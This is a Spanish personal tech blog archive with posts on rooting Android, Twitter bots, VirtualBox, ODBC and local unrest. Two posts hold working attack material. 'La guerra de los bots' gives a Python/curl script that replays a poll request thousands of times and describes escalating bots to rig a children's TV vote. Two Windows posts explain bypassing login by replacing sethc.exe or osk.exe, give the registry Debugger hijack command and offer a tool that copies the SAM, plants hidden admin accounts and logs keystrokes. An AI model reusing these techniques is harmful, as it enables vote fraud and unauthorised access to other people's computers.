Debo reconocer que mi respuesta fue bastante hostil (razón por la que la pondré hasta el final), sin embargo luego de pensarlo un rato, caí en cuenta que, hay muchas personas que puedan tener está duda, más allá de querer convencer a alguien; así que antes de continuar: "No intenten evangelizar, si no conocen ni siquiera el evangelio."

Siguiendo la frase de arriba, yo no estoy intentando convencer a nadie de rootear su dispositivo con Android, tampoco intento convencer a nadie de usar Android, Google no me paga un sólo peso por cada persona que use Android bajo mi recomendación, por lo que, "no caeré en debates bobos sobre que SO es mejor, simplemente no me importa si piensan que iOS o Windows Mobile es mejor". No soy fanboy de GNU/Linux ni de Android y el hecho de que los prefiera es cuestión personal.

Qué es rootear?

Vale, usaré la Wikipedia para dar un poco de claridad al asunto primero el concepto de root:

En sistemas operativos del tipo Unix, root es el nombre convencional de la cuenta de usuario que posee todos los derechos en todos los modos (mono o multi usuario). root es también llamado superusuario. Normalmente esta es la cuenta de administrador. El usuario root puede hacer muchas cosas que un usuario común no puede, tales como cambiar el dueño o permisos de archivos y enlazar a puertos de numeración pequeña. No es recomendable utilizar el usuario root para una simple sesión de uso habitual, ya que pone en riesgo el sistema al garantizar acceso privilegiado a cada programa en ejecución. Es preferible utilizar una cuenta de usuario normal y utilizar el comando su para acceder a los privilegios de root en caso de ser necesario.

Ya con la definición podemos entender algunas cosas sobre ¿qué es? (subrayado), los peligros que puede implicar usar el usuario root (resalte en azul) y las recomendaciones en caso de ser necesario su uso (resalte morado). En esta definición también hay un concepto fundamental y nos advierte que no se recomienda para "una simple sesión de uso habitual".

Como tal el termino rootear no existe al día de hoy en la RAE, pero se entiende como: "el método mediante el cual se consigue la cuenta de superusuario en un sistema tipo Unix."

Mucho ruido y poco Android

Quizá muchos no lo sepan, pero, los SO Android tienen un kernel GNU/Linux (descendiente de Unix), así que de ahí viene el que muchos intenten conseguir la cuenta de root en estos dispositivos.

Seguramente muchos estarán pensando, ¿pero que no dicen que Android es más flexible?, ¿por qué no me dan una cuenta con todos los permisos como en Windows?, ¿quién decidió que me tienen que limitar?, bla-bla-bla...

Android es más flexible en cuanto a la instalación de aplicaciones se refiere, que quiero decir con esto?, que pueden instalar aplicaciones sin tener que conectarse directamente a la PlayStore, es decir pueden instalar lo que les venga en gana aunque no este firmado o no sea compatible con su dispositivo; en cierto modo esto ya es similar a una cuenta de Windows, porque incluso cuando cada aplicación al instalarse advierte los permisos que va a usar y siguen con la maldita costumbre de dar en "Siguiente".

Entonces, si puedo instalar libremente aplicaciones desde donde me venga en gana, para que sirve ser root?, no pienso explicar a fondo como funcionan los SO Android, sin embargo para aclarar un poco este punto usaré una imagen de como está compuesto:

Al instalar una aplicación, dependiendo del propósito de la misma y los permisos solicitados a nosotros durante la instalación, solo puede acceder a las capas azules, con el usuario root se puede acceder a todo (literalmente) en la capa más baja (color rojo) vemos que está toda la parte del hardware de nuestro dispositivo, es decir, siendo root podemos ajustar la frecuencia del reloj del procesador (overclock), instalar drivers específicos, instalar otras ROMs (versiones de Android modificadas), acceder a las carpetas y bases de datos de todas las aplicaciones, modificar archivos de sistema tales como "/etc/hosts" para evitar que las aplicaciones salgan a internet y consuman ancho de banda, eliminar contenido inútil como aplicaciones de Telcel, etc.

Porqué no rootear entonces?

Principalmente porque pueden perder la garantía de su equipo, debido a que la mayoría de las compañías telefónicas advierten sobre esto.

Pueden dañar su equipo, aunque esto atenta contra mis principios de investigador, debo reconocer que muchos no tienen idea del verdadero poder de su usuario root y andan a ciegas intentando conseguir un mejor rendimiento de sus dispositivos, lo que normalmente termina en convertir su hermoso y costoso dispositivo en un hermoso y costoso pisapapeles.

Pueden obtener su información más fácilmente, supongamos que tienen rooteado su dispositivo y tontamente e lo prestan a un tipo curioso como yo, es casi seguro que accederé a la base de datos de sus aplicaciones como facebook y twitter para ver si las puedo clonar; pero también existe el riesgo de que se lo presten a una persona que no tenga idea y termine borrando archivos de sistema en pos de buscar un juego o buscar su pornografía.

Ya soy root, qué no debo hacer?

Prestar su dispositivo, en caso de ser necesario limiten.
No conceder permisos permanentes a una aplicación que solicite ejecutarse como root.
No hacer una copia de seguridad.
Jugar a ajustar la frecuencia del procesador sin antes haber leído y entendido sobre overcloking, además de leer la documentación concreta de su equipo.
Eliminar aplicaciones sin ton ni son, aunque en ocasiones hay mucho contenido basura preinstalado, antes de proceder a eliminarlo, verifiquen que realmente no sea necesario.
Eliminar archivos que no conozcan, si se encuentran con un archivo que les parezca obsoleto, revisen los permisos que tiene, por regla general, no toquen nada que esté en [/system, /etc, /bin] a menos que realmente sepan para que sirve.

Conclusión?

La decisión finalmente es suya, yo he rooteado muchos dispositivos e incluso los he convertido en hermosos pisapapeles por usar métodos experimentales para rootear, sin embargo hasta ahora me he salido con la mía y siempre he conseguido hacer válida la garantía argumentando que sólo cargué actualizaciones, pero eso ha sido porque no he dañado el hardware, otra alternativa es realizar una copia completa de todo al momento de rootear y en caso de que haga falta restaurar todo desde modo Recovery o flash. Aunque no todos lo consiguen y terminan con ganas de mentarme la madre. La idea de este post fue solamente informar de algunos de los beneficios que pueden obtener al rootear, pero como diría Ben Parker "todo gran poder conlleva una gran responsabilidad".

SaluDoS!!

P.D.

Dejo la respuesta que le dí a mi camarada:

23:02 -no entiendo we, de qué la quieres convencer, de rootear?, si no tiene idea, entonces no vale la pena que lo haga porque es una usuaria estándar; de c...r, búscate un mejor argumento...

La guerra de los bots

2013-04-26T17:39:00.000-07:00

Antecedentes

Durante todo el mes de Abril, en canal once, se hicieron una serie de encuestas para escoger un programa del cual transmitirían un maratón los días viernes, mi primera incursión en esto fue para demostrar una teoría (bastante cínica, debo reconocer) respecto a la tendencia de la gente de sumarse a la opinión de los demás, en la primera semana competían un programa que ya se venía transmitiendo en ese canal "Exploradores de la Historia" contra un programa que recién había comenzado a transmitirse llamado "Walter y Tandoori"; desde luego el nuevo programa no contaba con el respaldo de nadie, pues se conocía poco, por lo que la encuesta estaba inclinada por más de 1000 votos a favor de "Exploradores de la Historia" (como dice el dicho, más vale malo conocido, que bueno por conocer...); así que dí mi voto por el nuevo programa, con el fin de analizar cómo funcionaba el sistema de encuestas, para lo cual use un plugin de firefox llamado "Live HTTP Headers". Lo primero que me salto, fue un "sistema" que prevenía el uso de bots y me pedía poner el resultado de la suma de dos números, pero como es un canal para niños los números no eran mayores a 10 jeje.

El resultado obtenido mediante "Live HTTP Headers":

http://www.oncetv-ipn.net/onceninos/vota/votar_3.php?answer=v2&pregunta=18&n1=5&n2=4&S=9&suma=9&submit=+++++votar+++++

GET /onceninos/vota/votar_3.php?answer=v2&pregunta=18&n1=5&n2=4&S=9&suma=9&submit=+++++votar+++++ HTTP/1.1
Host: www.oncetv-ipn.net
User-Agent: Mozilla/5.0 (Windows NT 5.1)
Cookie: blablabla
Connection: keep-alive

Vale aclarando un poco todo ese rollo, en azul la palabra GET indica el método usado por nuestro querido protocolo HTTP, en rojo están los llamados Headers, puede que no lo sepan pero su equipo los envía todo el tiempo al servidor al que se conectan y sirven para muchas cosas diferentes, entre otras saber si nuestra sesión es válida, de donde viene nuestra petición, etc, etc.

Lo interesante de todo esto es en si mismo la consulta de la cual señale en color fiusha el script en el servidor que es mandado a llamar y en azul los parámetros pasados a dicho script.

Ahora a analizar con detenimiento los parámetros:

answer=v2 indica por que pregunta estamos votando
pregunta=18 el número de pregunta a la que estamos respondiendo
n1=5 el primer número de la validación anti-bots (XD!!!)
n2=4 el segundo número de la validación anti-bots
S=9 el resultado de la suma de los anteriores y que tuve que escribir
suma=9 mismo número
submit=+++++votar+++++ acción a realizar (o lo que es lo mismo la función dentro del script a ejecutar, seguramente el servidor quita los símbolos de "+" innecesarios).

Una vez que tuve esta información mi primer pregunta fue, ¿qué pasa si uso repito la consulta?, esto lo hice para saber si la cookie estaba siendo usada para algo en la seguridad o solo era un adorno jajajaja, bueno el resultado fue que obtuve un voto más. Acto seguido usé la misma consulta en otro navegador para terminar de comprobar que se pudiera usar y que no importaba tener o no tener cookie, así lo hice y como obtuve un voto más, me dí cuenta de que no existía nada que me impidiera reciclar la consulta previa, por lo tanto ya tenía una forma de hacer lo que me viniera en gana, ahora podía poner en práctica mi teoría...

Un poco de maldad

Como dije antes el propósito del experimento era ver que tan fácil era influenciar la opinión de la gente, ya explique al principio que el programa "Exploradores de la Historia" ganaba por más de mil votos, y el porque votaban por él, pero, ¿qué pasaría si un número suficientemente grande de "personas" votaran por el otro programa?, ¿más personas creerían que es tan bueno que merece la pena su voto y seguirían la tendencia?; bueno sólo había una forma de probarlo, con esto en mente y luego del análisis de como funcionaba el sistema de encuestas, decidí hacer un script que se encargará de otorgar unos 7000 votos a favor de "Walter y Tandoori" así el programa tendría al menos 5000 votos a favor y de acuerdo a mi teoría la gente votaría por él, pensando que era mejor que el otro (después de todo más de 5000 "personas" no podrían estar equivocadas jajajajaja), es posible que ya hayan imaginado en que lenguaje programe el script, jajajaja, Python mi navaja suiza personal.

import os
comando = "curl --url \'http://www.oncetv-ipn.net/onceninos/vota/votar_3.php?answer=v2&pregunta=18&n1=5&n2=4&S=9&suma=9&submit=+++++votar+++++'" + " -o prueba"
for x in range(7000):
    os.popen(comando+str(x)+".html")
os.popen("rm *.html")
print 'completado!!'

Pocas líneas, poca maldad y un propósito concreto, una vez hecho esto, deje que la gente votará por quién ellos quisieran (claro había un poco de influencia y tendencias, pero aún así era su decisión jeje).

El resultado del experimento:

La teoría estaba probada, yo solo hice creer que al menos "5000" personas respaldaban el programa y la gente hizo lo que yo pensaba, se sumo a lo que la "mayoría" consideraban mejor.

El inicio de una guerra

En las semanas siguientes me abstuve de influenciar las encuestas, sin embargo en está última semana alguien más decidió jugar con los resultados, lo que dio por resultado algo que seguramente el personal del canal no pasará por alto debido a la cantidad de votos con los que terminó la encuesta.

Para el día martes 23 de Abril a las 16:39 aproximadamente, la encuesta de la semana iba de la siguiente forma:

Aunque debo reconocer que "El mundo de Beakman" siempre me ha gustado, tanto como un par de monstruos cómo yo queríamos que ganará "Historias Horribles", que pesé a que tiene poco tiempo al aire ha conseguido mucho publico jeje, cómo iba ganando decidí no intervenir, sin embargo, me dí cuenta de que algo extraño estaba pasando.

Hagamos una consideración llegados a este punto, a 21 horas de iniciada la encuesta la votación estaba como ya se mostró, lo cual indica que tenían una tendencia de 458 / 467 votos por hora, respectivamente, pero eso cambio y para el miércoles por la noche la tendencia mostraba como una clara ganadora a "Historias Horribles" con más de 18000 votos, no es un secreto para nadie que soy un animal de hábitos nocturnos y como había dejado abierta la página, decidí refrescarla y mi sorpresa fue grande, para las 01:49 hrs del jueves 25 de Abril todo había cambiado:

Cerca de las 21 hrs del miércoles 24, "Historias Horribles" tenía unos 31000 votos, mientras que "El mundo de Beakman" tenía apenas unos 13000 y unas pocas horas más tarde un milagro había ocurrido, 20000 votos en la madrugada jajajajaja, estaba claro que alguien quería que ganará "El mundo de Beakman".

Por lo que decidí darle una pequeña ayuda a "Historias Horribles", pero por alguna razón el mismo truco no funcionó, quizá se habían dado cuenta de su fallo la vez anterior, como sea, si usaba la misma consulta más de 10 veces seguidas, la conexión no terminaba e impedía que las siguientes peticiones fueran hechas, así que pensé en generar mis propias consultas, porque al final eso pasaría inadvertido quizá...

Así que luego de una modificación, para las 08:43 hrs del jueves, la encuesta quedaba así:

Durante el transcurso del día las cosas se mantuvieron más o menos en orden, pero entre las 18:00 y las 19:45 del jueves la votación fue nuevamente alterada con otra inyección de más de 10000 votos, quedando de la siguiente manera:

Eso ya era demasiado, sin embargo para las 23:00 "El mundo de Beakman" ya tenía más de 69000 votos, así que decidí modificar más el script hasta convertirlo en un pequeño bot, no solo inyectaría votos usando sus propias consultas, ahora cambiaría de "User-Agent", para fingir ser otro navegador diferente, además de volver a inclinar la balanza lo dejé listo para inyectar poco a poco, usando de la librería time la función sleep(), es decir inyectaría un voto cada "n" segundos, sólo para asegurarme de que todo siguiera en orden jeje, para el viernes a las 01:49 hrs las cosas estaban así jeje, yo había respondido de manera firme a la declaración de guerra...

Victoria?

Cómo era de esperarse, recibiría una respuesta de parte de un adversario invisible y de quien en realidad sospecho que era el mismo personal de canal once, la respuesta llego en las primeras horas (laborales) de la mañana de hoy, para las 11:40 hrs mis pequeño bot había sufrido un revés...

Había perdido una batalla pero no la guerra, decidí levantar más bots sin embargo el juego no era limpio, llegado a cierto punto tome el tiempo y cada segundo mi oponente estaba inyectando 7.6 votos, había que tomar medidas drásticas así que recurrí a usar mis bots mediante un par de maquinas virtuales conectadas a diferentes redes, alteré el time.sleep() para que no durmiera más y entonces lance un ataque bastante hostil debo de reconocer, pero para las 13:05 hrs. mis bots (10 en total) ya habían ganado la guerra...

Mi oponente no se rindió, sin embargo estaba claro que la diferencia entre nuestros bots era inmensa, deje que mis bots a partir de ese momento descansarán nuevamente usando el time.sleep() pero ahora ya no era una sola maquina, ni una misma red, la guerra de los bots fue ganada.

Espero que de esto la gente del canal cambie sus políticas en futuras encuestas, pues aunque hice algo no debido y me siento mal por ello, no es ilegal, pues su campaña dice claramente vota las veces que quieras y su sistema "anti-bots" era sólo un título pretencioso, el resultado final de la guerra...

Al final en una guerra no hay vencedores, sin embargo me divertí viendo "Historias Horribles" jejeje

SaluDoS!!!

Actualizar Twitter vía Python con la música reproducida desde Amarok

2013-04-23T12:33:00.003-07:00

Introducción (léase choro del programador)

Hace ya unos meses me comento mi buen amigo @codersoul que otro amigo en común, mantenía actualizado su estado en Twitter con las canciones que reproducía, así que, aunque no soy fan de estar actualizando mi estado con lo que estoy escuchando, me dí cuenta de que tristemente en Linux no había algo parecido, así que pensé en una forma de hacerlo, luego de un poco de investigación y de recolectar info aquí y allá, me decidí a hacerlo mediante Python.

Cabe aclarar que además que lo hice pensando en ser usado con el "Entorno de Escritorio" KDE, por lo que basta con cambiar un par de líneas para que sea perfectamente funcional con cualquier otro "Entorno", además escogí Amarok, pues es el reproductor que más me acomoda a mi por la gestión de mi música, pero si alguien quiere adaptarlo a otro reproductor ya es cosa suya.

Para terminar con todo el choro, el script necesitará llamado twitter.cfg en donde se almacena la información necesaria para que funcione, el archivo en cuestión va adjunto en el zip o rar que he subido, sólo deben estar en la misma carpeta o poner la ruta completa a donde lo pongan (para los más puritanos pueden cambiar los permisos del archivo por 600).

Preparación

Lo primero será ingresar a https://dev.twitter.com/apps con el usuario que hayan designado para crear su bot, en este caso yo use el mío porque la idea era actualizar mi estado y no el de alguien más. Una vez hecho esto nos vamos a crear una aplicación, aunque realmente no importa mucho el nombre que le den a la aplicación, procuren que sea algo acorde al propósito.

Lo importante de esto es conseguir los datos necesarios para enlazar el script con su cuenta, esos datos son: "Consumer key, Consumer secret, Access token, Access token secret", ojo con esto a la hora de generar el Access token, deben verificar que esté en modo de Lectura/Escritura, bueno les dejo una imagen para que se den una idea.

Una vez conseguidos esos datos hay que verificar que tengamos instalada la Api "tweepy", en el caso de los que tengan Debian o similares "sudo apt-get install -y python-tweepy".

Bueno eso sería todo, los valores obtenidos hay que ponerlos en el archivo llamado twitter.cfg y eso sería todo.

Finalizando

Ahora ya sólo resta ejecutar el script, en caso de que quieran actualizar su estado en otro idioma, tendrían que cambiar el valor de las variables en el mismo archivo .cfg y en caso de no usar KDE, pueden comentar las líneas señaladas.

SaluDoS!!!

P.D.
Si tienen dudas pueden publicarlo aquí mismo a modo de comentario y si hacen mejoras les agradecería hacérmelo saber a mi correo.

Automatizando la entrada no autorizada a Windows7

2013-03-30T20:40:00.001-07:00

En el post anterior se mostró como conseguir acceso a Windows 7 y Windows 8, sin embargo el uso de "sethc.exe" no es la única alternativa, si analizamos un poco cómo funcionan las "Opciones de Accesibilidad" de Windows, nos daremos cuenta de que al menos contamos con otras tres alternativas, "la Lupa" (Magnify.exe), "el Narrador" (Narrator.exe) y "el Teclado en Pantalla" (osk.exe).

Estas herramientas son ejecutadas con privilegios de Sistema, por lo que teóricamente podemos explotar eso para muchas cosas, con un poco de ingenio podemos crear desde un "Keylogger" para capturar la verdadera contraseña de algún usuario válido; hasta una herramienta para proteger nuestro equipo o mostrarnos los procesos en ejecución, las posibilidades simplemente son infinitas, así que para probar que tanto podemos comprometer el sistema, decidí hacer una pequeña herramienta con un par de funciones, desde realizar una copia del SAM del sistema, crear una cuenta de usuario con privilegios de administrador, eliminar esa cuenta, ocultar o mostrar la cuenta creada en el inicio de sesión y reiniciar.

Para probar lo que decía sobre el Keylogger decidí crear un formulario con transparencia, sin más preámbulo dejo un vídeo con la demostración de la herramienta.

Además el programa lo pueden descargar desde aquí, si lo quieren probar sigan las instrucciones del post anterior pero copien el archivo "osk.exe" en algún lugar y después reemplacen el archivo original ubicado en "C:\Windows\System32".

Entrando a un equipo sin permiso

2013-03-06T22:25:00.000-08:00

Primero, el origen de este post fue producto de una pregunta que se me hizo recientemente, por lo que después de un muy buen rato en el silencio y las sombras, me decidí a salir de mi exilio autoimpuesto, a fin de ayudar a un buen amigo (o mejor dicho a su novia).

Segundo no voy a poner disclaimer porque lo que está de más decir que esto no debería de hacerse en equipos que no sean suyos sin embargo es asunto suyo y no me pienso enrrollar demasiado con eso.

Por último, como para este post en particular he creado un vídeo que acompañe la explicación, sólo explicaré lo que tal vez no se comprenda en el vídeo, la verdad es que no se si deban primero leer la explicación y luego ver el vídeo o al revés, eso ya depende de su capacidad personal para asimilar las cosas.

Aclarado lo anterior entremos en materia, primero que nada explicaré en que se basa este método de acceso, el archivo que vamos a modificar se llama "sethc.exe" y sirve para activar las "teclas pegajosas" o "teclas especiales", por lo que Windows concede acceso a este archivo en su configuración por defecto, incluso cambiando dicha configuración, en pruebas realizadas se puede seguir accediendo, por lo que puede ser bastante problemático.

Antes de empezar será necesario obtener una imagen de GNU/Linux, en el vídeo use Ubuntu 11.10 por ser una que tenía a mano y por ser fácil de usar, sin embargo pueden usar cualquier otra, la descarga nos dará un archivo con extensión ".iso", el cual grabaremos en un CD para ello usaremos algún programa como Nero, Roxio u otro, pero el método será "grabar imagen de disco". Una vez grabado nuestro archivo deberíamos poder ver el contenido de este modo:

En situaciones normales el archivo "sethc.exe" mostraría lo siguiente:

Aquí el vídeo:

Finalmente decir que otra alternativa, teniendo acceso al equipo; para ello, hay que usar una terminal (línea de comandos) con privilegios de administrador para ejecutar lo siguiente:

REG ADD “HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe” /v Debugger /t REG_SZ /d “C:\windows\system32\cmd.exe”

Por supuesto cabe mencionar que esto puede bien ser explotado desde una LAN con algo de imaginación XD!!

Actualización:

Debido a reclamos por derechos de autor de la música del vídeo, tuve que subir nuevamente el vídeo con la misma música pero en otra versión, el cual es el siguiente:

Ya entrado en materia y dado que alguien me pidió la demostración de la vulnerabilidad en Windows 8, tuve que agregar el vídeo y para evitar más reclamos con derechos de autor convencí a n0x que interpretará el soundtrack de este vídeo:

Detener la sincronización de tiempo/fechas entre Host y Guest en Virtual Box

2012-09-20T20:56:00.000-07:00

Ésta es otra de esas entradas que surgieron a partir de una necesidad sencilla pero para la cual no hay mucha documentación y la que hay no es del todo clara. El problema en cuestión surge al intentar cambiar la fecha del sistema en nuestro SO huésped (virtualizado) y quedar frustrados tras varios intentos porque la fecha cambia después de unos segundos, esto se debe a que un servicio en concreto se encarga de hacerlo, éste servicio es parte de las "Guest Additions", suele ser de mucha ayuda, sin embargo en ocasiones conviene cambiar la fecha de nuestro sistema ya sea para registrar programas, alterar fechas de creación de documento, seguido de una larga lista de etcéteras.

Para el caso de los huéspedes (Guests) Windows se llama "VboxService.exe" y se encuentra ubicado en la carpeta "System32" y para los huéspedes Linux "vboxadd-timesync" y se encuentra instalado en "/etc/init.d".

Asumiré que tienen instaladas las "Guest Aditions" en sus huéspedes y que se trata de un huésped corriendo Windows, ya que creo que es lo más común, lo primero que tendremos que hacer es detener el servicio y desregistrarlo para luego crear nuevamente nuestro servicio pasándole un parámetro concreto, para detener el servicio basta con enviar al huésped un "Ctrl + Alt + Supr" lo que se hace con la tecla "Host" que tengan configurada (por defecto es Ctrl derecho) y "Supr", una vez que aparezca el administrador de tareas de Windows, buscamos el proceso y lo terminamos:

Aceptamos la molesta advertencia de terminar un proceso en Windows y continuamos, una vez detenido, será necesario desregistrar el servicio lo cual hacemos desde una terminal MS-DOS mediante el comando "VboxService -u" con esto queda eliminado de los servicios de Windows, ahora hay que levantar nuevamente el servicio pero pasándole el parámetro "--disable-timesync" ya aprovechando nuestra terminal ejecutamos:

sc create VirtualTimex binpath= "C:\Windows\System32\VboxService.exe --disable-timesync" type= own start= auto

Otra alternativa que se me ocurrió fue levantar el servicio como aplicación de inicio mediante "regedit" sin embargo encontré el inconveniente de que a pesar de pasarle el parámetro "-f" aparecía una molesta ventana con la información del servicio.

Me podría pasar mucho tiempo explicando el comando sc, sin embargo por ahora es lo que menos tengo, disculpen las molestias ya será para otra ocasión, lo que si les puedo decir es que puede resultar muy interesante su uso para aquellos que intenten registrar un servicio incluso de manera remota, jajajajaja muchas ideas malignas vienen a mi mente...

Si a alguien le interesa el uso de este comando la documentación esta en el sitio oficial de Mocosoft jaja.

SaluDoS!!!

Psicosis colectiva o experimento social?

2012-09-08T00:00:00.001-07:00

Antes que nada quiero dedicar este post a una amiga que se encuentra en la madre España ella entenderá los motivos de la dedicatoria, aclarado lo anterior...

El día miércoles 5 del presente mes en mi querido país y concretamente en ciudad Nezahualcóyotl y otros municipios, se vivió un capitulo de histeria colectiva, que según he investigado surgió por un enfrentamiento entre transportistas en el municipio de Chicoloapan en la tarde (13:30 hrs. aproximadamente) de ese mismo día, los hecho de los que solo haré un resumen puesto que no pienso politizarlos fueron los siguientes, dos grupos de transportistas se enfrentaron con palos, machetes, petardos y hasta pistolas, de lo cual oficialmente se dio a conocer el fallecimiento de una persona y al menos 7 gravemente heridas por las lesiones, el motivo de la riña fue el "territorio" en donde prestan sus servicios y que se vio "invadido" por el otro grupo, hasta aquí.

Si buscan la noticia leerán basura como "unos son perredistas" los otros "antorchistas" bla, bla, bla, bla; según la fuente que lean ambos son el diablo y se acusan mutuamente de "invadir el espacio de trabajo" de los otros. Lo cierto es que no importa a que partido político puedan estar afiliados, eso no hace que sea más o menos alarmante el motivo de la riña, la disputa por un "territorio" (léase propiedad privada) inexistente y que en el último de los casos no es de ninguno de ellos sino de los habitantes de esa zona, quienes tienen todo su derecho de transportarse como mejor les venga en gana y no tener que estar a expensas de uno u otro grupo., además de recibir un servicio de calidad, por el costo de transporte que pagan.

El asunto se salio de control y la policía opto por cerrar las principales avenidas a fin de detener a los "responsables" de los hechos; aquí es donde comienza la historia (léase histeria) y donde tiene raíz todo, la avenida que cerraron (carretera Federal Texcoco-México) conecta varios municipios principalmente: La Paz, Chimalhuacán y Nezahualcóyotl, al encontrar cerrada esta Avenida, los rumores se comienzan a extender, tras la detención de al menos cuatro personas "vinculadas" a Antorcha Campesina, se presenta un grupo de personas "supuestamente" afiliadas a dicha organización para exigir la liberación de sus miembros en la estación del metro "La Paz", a raíz de esto comienzan las agresiones y actos de vandalismo de los presuntos miembros de esta organización en contra de los transeúntes, lo que literalmente detona la histeria al ser esta estación un punto importante de traslado entre los tres municipios mencionados, el rumor de los actos vandálicos y la supuesta intención de este grupo de tomar "otro tipo de medidas" para ejercer presión en la liberación de sus miembros comienza a regarse como pólvora, siendo el municipio de "La Paz" el primero en verse afectado por este tipo de rumores.

Al rededor de las 17 hrs, los comercios en este municipio se hallaban cerrados y el rumor se extiende hacia el municipio de Chimalhuacán y de ahí a Nezahualcóyotl a raíz del cierre de la avenida "Pantitlan", los rumores comienzan a expandirse por todo el municipio diciendo según los testimonios recavados por un servidor --"andan avisando que un grupo de antorchistas armados hasta los dientes en camionetas, están quemando mercados y comercios", --"también estan robando y quemando peseros", aunque al cuestionarles respecto al motivo nadie mencionó el antecedente de lo ocurrido en Chicoloapan y en cambio su respuesta fue "porque están tomando represalias porque perdieron el municipio, ya ve que son priistas y pues no saben perder, lo quieren tomar a la fuerza".

Para las 20:00 hrs, las calles se veían completamente abandonadas, solo unos cuantos grupos de vecinos comentando el porque del cierre de los negocios, para esta hora la histeria ya había cobrado tal dimensión que en muchas escuelas habían suspendido actividades temprano y sacado a los alumnos (a petición de grupos de padres alarmados y alarmistas) por una posible contingencia.

Se declaró un toque de queda virtual puesto que el gobierno municipal no lo pronuncio oficialmente, aquí es donde las cosas se vuelven a salir de control, las personas alarmadas intentan desesperadamente comunicarse con sus familiares que aún estaban trabajando o iban de regreso a sus hogares para advertir de la situación, las redes de comunicación en la zona "colapsan" (lo cual es prueba de que "Todo México es territorio Telcel!" en tanto no haya una emergencia porque entonces todo se va a la chingada), cabe aclarar que solo colapsaron las de la compañía mencionada (atnto fija como móvil) en el paréntesis otras compañías operaban con normalidad.

La falla en las comunicaciones se sumó entonces a la histeria colectiva y provoca que la pólvora se extienda al plano virtual, en un ridículo y exagerado uso de las redes sociales, Twitter fue probablemente el principal en donde se leían todos los rumores y además se comenzó a desvirtuar todo, con la llegada de la oscuridad de la noche los rumores se incrementaron. El siguiente factor fue la falta de transporte hacia los municipios afectados, pues muchas de las unidades encargadas de brindar este servicio habían decidido suspender actividades, lo que derivo en el abuso en las tarifas por parte de los transportistas que ofrecían el servicio.

Para esta hora el estado de histeria era tal que ante el menor sonido parecido al de un arma de fuego (hay que señalar que se vende y queman fuegos artificiales diariamente en este municipio aunque esta prohibido) se hacían llamadas de emergencia a la policía del municipio, la falta de preparación de la policía para enfrentar una situación de este tipo, derivo en patrullajes constantes por las principales avenidas, lo que se interpreto nuevamente como "un supuesto ataque de los grupos antorchistas", pero saco a relucir la creencia generalizada de la gente sobre los nexos entre el PRI y el narco, ahora acusando a grupos del narco de participar apoyando a los antorchistas.

No faltaron policías que precisamente por no saber como enfrentar una situación así dijeron a la gente que no salieran de sus casas, este tipo de respuesta nuevamente se desvirtuó y respaldo el supuesto toque de queda.

Me dí a la tarea de señalar los principales factores en la histeria colectiva vivida ese día, sin embargo las consecuencias todavía se sufrieron el día de ayer y hoy, muchos estudiantes que no asistieron a clases, comercios cerrados, etc.

La suma de factores tuvo consecuencias terribles, la situación de inseguridad en el municipio de Nezahualcóyotl sumada a todos los factores mencionados fueron lo que hizo que en este municipio las consecuencias de los rumores se sufrieran aún más, sin embargo el análisis de los factores que observé también me hacen dudar de como fue que se desvirtuó todo el tema, el inicio si fue producto de la falta de información de la gente, sin embargo no creo que otros factores hayan sido obra del asar, aunque en un estado de histeria colectiva hasta donde entiendo la conciencia individual se pierde en favor de un ente más grande, personalmente puedo advertir señales que me hacen sospechar de una manipulación de la información a favor de desatar aún más la psicosis, si bien es cierto el comportamiento en masa no se puede predecir de manera definitiva, si creo que se puede calcular el alcance de las variables necesarias a fin de inducir a un estado de conciencia colectiva, no puedo afirmar que existió ni cuales sean las intenciones de provocarlo, quizá solo sea la preparación para algo más, o, ¿solo fue para medir la respuesta de la gente ante una situación de verdadera crisis?, adelantar conclusiones de mi parte sería tan irresponsable como propagar los rumores que existieron. Pero en mi carácter de observador social debo dejar una evidencia del hecho y mis especulaciones, si me lo preguntan yo habría añadido un par de ingredientes más para validar los rumores, después de todo en México gana quien las encuestas "dicen", entonces solo basta "decir" para que algo sea verdad, no pierdan de vista el hecho de que habrá cambio de administración.

Solución al problema con odbc pgsql (postgresql) en Windows 7 de 64 bits

2012-08-09T18:27:00.000-07:00

Hace poco tuve que lidiar con la instalación de un driver ODBC para Postgresql desde Windows 7 (x64) la verdad es que normalmente no había tenido ningún problema para crear conexiones DSN, sin embargo por alguna extraña razón la versión "Home Basic" de este jodido sistema fue una piedrita en el zapato, como me dí cuenta de que es más común de lo que parece, decidí escribir este post a fin de compartir la solución con otros.

El problema

Según leí en la documentación en inglés, se deriva de que a "los genios de Microsoft" se les ocurrió dejar dos versiones del mismo programa encargado de generar los orígenes DSN ODBC (por aquello de las compatibilidades en el sistema) concretamente es un programa llamado "odbcad32.exe", hasta aquí tiene sentido y mi comentario sarcástico respecto al tema parece fuera de lugar (pero no uso el sarcasmo a la ligera), el problema es que la versión del programa de 32 bits esta alojada en la carpeta "C:\WINDOWS\SysWOW64", mientras que la versión de 64 bits de ese mismo programa esta alojada en la carpeta "C:\WINDOWS\System32", por lo que el sistema se hace pelotas con la versión y se presenta un fastidio; otra cosa que suele suceder precisamente por esto es que si ustedes buscan cualquier origen desde la ruta normal "Archivos de Programa/Herramientas administrativas/Orígenes de Datos ODBC" no se muestran aquellos que están disponibles en realidad, ni siquiera los de "Microsoft Accces".

La solución

Ejecutar una terminal MS-DOS como administrador (Botón de Inicio/Todos los programas/Accesorios/Símbolo del sistema // Botón derecho/Ejecutar como administrador)
Ejecutar desde ahí el instalador de la versión de 32 Bits de postgresql (CD Ruta_a_donde_esta_el_msi Enter psqlodbc.msi Enter).
Ejecutar la versión de 32 bits del programa "odbcad32.exe" ( CD \WINDOWS\SysWOW64 Enter odbcad32.exe Enter)
Configurar el DSN a nuestras necesidades (Nota: es importante distinguir el juego de caracteres que usa su servidor)
Finalmente guardamos los cambios y listo, debería de estar funcionando.

Aún con problemas?

Cambiar a automático y arrancar el servicio (sólo como última medida):

Panel de Control/Herramientas Administrativas/Servicios/ Inicio de sesión secundario

SaluDoS!!

Castigos reales para delincuentes virtuales?

2012-08-02T18:25:00.003-07:00

El presente post lo quiero dedicar a un amigo mio del que no mencionaré su nombre por cuestiones personales pero estoy seguro entenderá la alusión.

